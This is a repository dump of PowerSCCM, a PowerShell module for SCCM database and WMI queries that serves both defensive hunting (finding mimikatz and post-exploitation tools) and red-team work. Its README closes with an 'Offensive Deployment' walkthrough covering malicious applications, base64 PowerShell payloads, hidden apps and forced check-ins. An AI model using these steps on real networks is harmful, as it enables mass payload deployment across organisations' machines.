├── LICENSE ├── PowerSCCM.ps1 ├── PowerSCCM.psd1 ├── PowerSCCM.psm1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | SCCM-FTW is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2016, Will Schroeder 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | -------------------------------------------------------------------------------- /PowerSCCM.psd1: -------------------------------------------------------------------------------- 1 | @{ 2 | 3 | # Script module or binary module file associated with this manifest 4 | ModuleToProcess = 'PowerSCCM.psm1' 5 | 6 | # Version number of this module. 7 | ModuleVersion = '1.0' 8 | 9 | # ID used to uniquely identify this module 10 | GUID = '0ac82760-3e0d-4124-bd1c-92c8dab97171' 11 | 12 | # Author of this module 13 | Author = '@harmj0y', '@jaredcatkinson', '@enigma0x3', '@mattifestation' 14 | 15 | # Copyright statement for this module 16 | Copyright = 'BSD 3-Clause' 17 | 18 | # Description of the functionality provided by this module 19 | Description = 'PowerShell module to interact with SCCM databases' 20 | 21 | # Minimum version of the Windows PowerShell engine required by this module 22 | PowerShellVersion = '2.0' 23 | 24 | # Functions to export from this module 25 | FunctionsToExport = @( 26 | 'New-SccmSession', 27 | 'Get-SccmSession', 28 | 'Remove-SccmSession', 29 | 'Find-SccmSiteCode', 30 | 'Get-SccmApplication', 31 | 'Get-SccmPackage', 32 | 'Get-SccmConfigurationItem', 33 | 'Set-SccmConfigurationItem', 34 | 'Get-SccmCollection', 35 | 'Get-SccmCollectionMember', 36 | 'Get-SccmService', 37 | 'Get-SccmServiceHistory', 38 | 'Get-SccmAutoStart', 39 | 'Get-SccmProcess', 40 | 'Get-SccmProcessHistory', 41 | 'Get-SccmRecentlyUsedApplication', 42 | 'Get-SccmDriver', 43 | 'Get-SccmConsoleUsage', 44 | 'Get-SccmSoftwareFile', 45 | 'Get-SccmBrowserHelperObject', 46 | 'Get-SccmShare', 47 | 'Get-SccmPrimaryUser', 48 | 'Find-SccmRenamedCMD', 49 | 'Find-SccmUnusualEXE', 50 | 'Find-SccmRareApplication', 51 | 'Find-SccmPostExploitation', 52 | 'Find-SccmPostExploitationFile', 53 | 'Find-SccmMimikatz', 54 | 'Find-SccmMimikatzFile', 55 | 'Get-SccmADForest', 56 | 'Get-SccmComputer', 57 | 'New-SccmCollection', 58 | 'Remove-SccmCollection', 59 | 'Add-SccmDeviceToCollection', 60 | 'Add-SccmUserToCollection', 61 | 'New-SccmApplication', 62 | 'Invoke-SCCMDeviceCheckin', 63 | 'Remove-SccmApplication', 64 | 'New-SccmApplicationDeployment', 65 | 'Remove-SccmApplicationDeployment', 66 | 'Push-WmiPayload', 67 | 'Remove-WmiPayload', 68 | 'Grant-WmiNameSpaceRead ', 69 | 'Revoke-WmiNameSpaceRead' 70 | ) 71 | 72 | # List of all files packaged with this module 73 | FileList = @('PowerSCCM.psm1', 'PowerSCCM.psd1', 'PowerSCCM.ps1') 74 | 75 | } 76 | -------------------------------------------------------------------------------- /PowerSCCM.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot PowerSCCM.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerSCCM 2 | 3 | ### Warning: This code is alpha and minimally tested! 4 | 5 | Functions to facilitate connections to and queries from SCCM databases and WMI interfaces for both offensive and defensive applications. 6 | 7 | The code is kept PowerShell Version 2.0 compliant with no external dependencies. 8 | 9 | License: BSD 3-clause 10 | 11 | Authors: [@harmj0y](https://twitter.com/harmj0y), [@jaredcatkinson](https://twitter.com/jaredcatkinson), [@enigma0x3](https://twitter.com/enigma0x3), [@mattifestation](https://twitter.com/mattifestation) 12 | 13 | Heavily based on [work by Brandon Helms](https://github.com/Cr0n1c/SCCM-Enumeration) that's described more [in this post](https://cr0n1c.wordpress.com/2016/01/27/using-Sccm-to-violate-best-practices/), as well as [SCCM POSH](http://www.snowland.se/powershell/sccm-posh/) by Rikard Rönnkvist. 14 | 15 | More background information on using SCCM for DFIR is available on [@KeithTyler's](https://twitter.com/KeithTyler) blog post [on the subject](http://informationonsecurity.blogspot.com/2015/11/microsofts-accidental-enterprise-dfir.html) and in John McLeod/Mike Pilkington's ["Mining-for-Evil"](https://digital-forensics.sans.org/summit-archives/DFIR_Summit/Mining-for-Evil-John-McLeod-Mike-Pilkington.pdf) presentation. 16 | 17 | 18 | ## Usage 19 | 20 | PowerSCCM will keep track of established SCCM database/WMI sessions, allowing you to reuse these 21 | sessions with common queries. To establish a new session, use **New-SccmSession** along with the 22 | name of the computer with the SCCM database (**-ComputerName**) and the SCCM site database name 23 | (**-DatabaseName**): 24 | 25 | `New-SccmSession -ComputerName SCCM.testlab.local -DatabaseName CM_LOL` 26 | 27 | This session is now stored in $Script:SCCMSessions and reusable by Get-SccmSession. To establish a session via WMI, use **-ConnectionType WMI**. 28 | 29 | To find the available SCCM site codes on a server you have access to, use **Find-SccmSiteCode**: 30 | 31 | `Find-SccmSiteCode -ComputerName SCCM.testlab.local` 32 | 33 | To retrieve all current SCCM session objects, us **Get-SccmSession** with optional -Id, -Name, -ComputerName, -SiteCode, or -ConnectionType arguments. To close and remove a session, use **Remove-SccmSession** with any of the same arugments, or the -Session argument for a SCCM session object (passable on the pipeline). 34 | 35 | `Get-SccmSession | Remove-SccmSession` 36 | 37 | See the bottom of this README.md for offensive deployment. 38 | 39 | 40 | ## SCCM Database/Server Functions 41 | 42 | Various functions that deal with querying/changing information concerning the SCCM database or server, as opposed to dealing with querying inventoried client information. 43 | 44 | #### Find-LocalSccmInfo 45 | Finds the site code and management point for a local system. 46 | 47 | #### Find-SccmSiteCode 48 | Finds SCCM site codes for a given server. 49 | 50 | #### Get-SccmApplication 51 | Returns information on user-deployed applications in an SCCM database. 52 | 53 | #### Get-SccmPackage 54 | Returns information on user-deployed packages in an SCCM database. 55 | 56 | #### Get-SccmConfigurationItem 57 | Returns SCCM configuration items in an SCCM database. 58 | 59 | #### Set-SccmConfigurationItem 60 | Sets a field to a particular value for a SCCM configuration keyed by CI_ID. 61 | 62 | #### Get-SccmCollection 63 | Returns SCCM collections that exist on the primary site server. 64 | 65 | #### Get-SccmCollectionMember 66 | Returns SCCM collection members. 67 | 68 | ## Get-Sccm* 69 | 70 | Query functions require -Session (passable on the pipeline): 71 | 72 | `Get-SccmSession | Get-SccmRecentlyUsedApplication | Export-CSV -NoTypeInformation recent_apps.csv` 73 | 74 | `Get-SccmRecentlyUsedApplication -Session $Session | Export-CSV -NoTypeInformation recent_apps.csv` 75 | 76 | All of these functions also share a common set of optional parameters: 77 | 78 | * **-Newest ** - return only the X newest entries from the database. 79 | * **-OrderBy ** - order the results by a particular field. 80 | * **-Descending** - if -OrderBy is set, display results in descending order. 81 | * **-ComputerNameFilter ** - only return results for a particular computer name. 82 | * **-TimeStampFilter ** - the SCCM collection timestamp to filter on, accepts <> operators. 83 | 84 | Each function also has a set of custom -XFilter parameters that allow for query filtering on specific field names/values. 85 | 86 | 87 | #### Get-SccmService 88 | Returns information on the current set of running services as of the last SCCM agent query/checkin. 89 | 90 | #### Get-SccmServiceHistory 91 | Returns information on the historical set of running services as of the last SCCM agent query/checkin. 92 | 93 | #### Get-SccmAutoStart 94 | Returns information on the set of autostart programs as of the last SCCM agent query/checkin. 95 | 96 | #### Get-SccmProcess 97 | Returns information on the set of currently running processes as of the last SCCM agent query/checkin. 98 | 99 | #### Get-SccmProcessHistory 100 | Returns information on the historical set of running processes as of the last SCCM agent query/checkin. 101 | 102 | #### Get-SccmRecentlyUsedApplication 103 | Returns information on recently launched applications on hosts as of the last SCCM agent query/checkin. 104 | 105 | #### Get-SccmDriver 106 | Returns information on the set of currently laoded system drivers as of the last SCCM agent query/checkin. 107 | 108 | #### Get-SccmConsoleUsage 109 | Returns historical information on user console usage as of the last SCCM agent query/checkin. 110 | 111 | #### Get-SccmSoftwareFile 112 | Returns information on inventoried non-Microsoft software files. **This option is not enabled by default in SCCM**- we recommend setting SCCM to inventory all *.exe files on hosts. 113 | 114 | #### Get-SccmBrowserHelperObject 115 | Returns information on discovered browser helper objects. **This option is not enabled by default in SCCM**. 116 | 117 | #### Get-SccmShare 118 | Returns information on discovered shares.**This option is not enabled by default in SCCM**. 119 | 120 | #### Get-SccmPrimaryUser 121 | Returns user/machine pairings where the user is set as a 'Primary User' through SCCM. 122 | 123 | 124 | ## Find-Sccm* 125 | 126 | Meta-functions that use the Get-Sccm* query functions to find common 'bad' things. All of these functions -Session (passable on the pipeline). 127 | 128 | #### Find-SccmRenamedCMD 129 | Finds renamed cmd.exe executables using Get-SccmRecentlyUsedApplication and appropriate filters. 130 | 131 | #### Find-SccmUnusualEXE 132 | Finds recently launched applications that don't end in *.exe using Get-SccmRecentlyUsedApplication and appropriate filters. 133 | 134 | #### Find-SccmRareApplication 135 | Finds the rarest -Limit recently launched applications that don't end in *.exe using Get-SccmRecentlyUsedApplication and appropriate filters. 136 | 137 | #### Find-SccmPostExploitation 138 | Finds recently launched applications commonly used in post-exploitation. 139 | 140 | #### Find-SccmPostExploitationFile 141 | Finds indexed .exe's commonly used in post-exploitation. 142 | 143 | #### Find-SccmMimikatz 144 | Finds launched mimikatz instances by searching the 'FileDescription' and 'CompanyName' fields of recently launched applications. 145 | 146 | #### Find-SccmMimikatzFile 147 | Finds inventoried mimikatz.exe instances by searching the 'FileDescription' field of inventoried .exe's. 148 | 149 | 150 | ## SCCM Active Directory Functions 151 | 152 | #### Get-SccmADForest 153 | Returns information on Active Directory forests enumerated by SCCM agents. 154 | 155 | #### Get-SccmComputer 156 | Returns information on Active Directory computers. 157 | 158 | 159 | ## Offensive Functions 160 | 161 | #### New-SccmCollection 162 | Create a SCCM collection to place target computers/users in for application deployment. 163 | 164 | #### Remove-SccmCollection 165 | Deletes a SCCM collection. 166 | 167 | #### Add-SccmDeviceToCollection 168 | Add a computer to a device collection for application deployment 169 | 170 | #### Add-SccmUserToCollection 171 | Add a domain user to a user collection for application deployment. 172 | 173 | #### New-SccmApplication 174 | Creates a new SCCM application. 175 | 176 | #### Remove-SccmApplication 177 | Deletes a SCCM application. 178 | 179 | #### New-SccmApplicationDeployment 180 | Deploys an application to a specific collection. 181 | 182 | #### Invoke-SCCMDeviceCheckin 183 | Forces all members of a collection to immediately check for Machine policy updates and execute any new applications. 184 | 185 | #### Remove-SccmApplicationDeployment 186 | Deletes a SCCM application deployment. 187 | 188 | #### Push-WmiPayload 189 | Pushes a payload to a custom WMI class on a remote server. 190 | 191 | #### Remove-WmiPayload 192 | Removes a saved WMI payload pushed by Push-WmiPayload. 193 | 194 | #### Grant-WmiNameSpaceRead 195 | Grants remote read access to 'Everyone' for a given WMI namespace. 196 | 197 | #### Revoke-WmiNameSpaceRead 198 | Removes remote read access from 'Everyone' for a given WMI namespace that was granted by Grant-WmiNameSpaceRead. 199 | 200 | 201 | ## Offensive Deployment 202 | 203 | It takes a few steps to deploy malicious packages/scripts to clients through SCCM, and offensive manipulation/deployment is only currently supported through WMI SCCM sessions. SCCM deployments need three parts- a user/device collection of targets, a malicious application to deploy, and a deployment that binds the two together. 204 | 205 | To create a collection to place targets in, use **New-SccmCollection**, along with the -CollectionName and -CollectionType ('Device' or 'User') parameters. You then need to add targets to the collection, either with **Add-SccmDeviceToCollection** or **Add-SccmUserToCollection** depending on the collection type. 206 | 207 | Once the target collection is completed, create a new malicious application with **New-SccmApplication**. You need to specify an -ApplicationName, and then can choose to deploy a -UNCProgram (for a hosted binary payload), -PowerShellScript (for the text of a PowerShell script to deploy), -PowerShellB64 (for an ASCII base64-encoded PowerShell blob), or -PowerShellUnicodeB64 (for an UNICODE base64-encoded PowerShell blob). The targeted payload will be created and pushed to a custom WMI class on the SCCM server using Push-WmiPayload, universal read permissions will be granted with Grant-WmiNameSpaceRead, and the application will be created and marked as 'Hidden' in the main SCCM GUI. 208 | 209 | Finally, you can deploy a newly created application to a given collection with **New-SccmApplicationDeployment**, specifying the -ApplicationName and -CollectionName respectively, as well as a -AssignmentName to name the deployment. Once the SCCM agents check back in your malicious application should deploy. 210 | 211 | ## Offensive Cleanup 212 | 213 | Cleanup functions exist for all offensive actions. 214 | 215 | To remove an application deployment, use **Remove-SccmApplicationDeployment**. 216 | 217 | To enumerate the current collections use Get-SccmCollection, and to remove a collection created by New-SccmCollection, use **Remove-SccmCollection**. 218 | 219 | To enumerate the current applications use Get-SccmApplication, and to remove a collection created by New-SccmApplication, use **Remove-SccmApplication**. This also calls **Remove-WmiPayload** to remove the pushed WMI payload, and to revokes the namespace read with **Revoke-WmiNameSpaceRead**. 220 | --------------------------------------------------------------------------------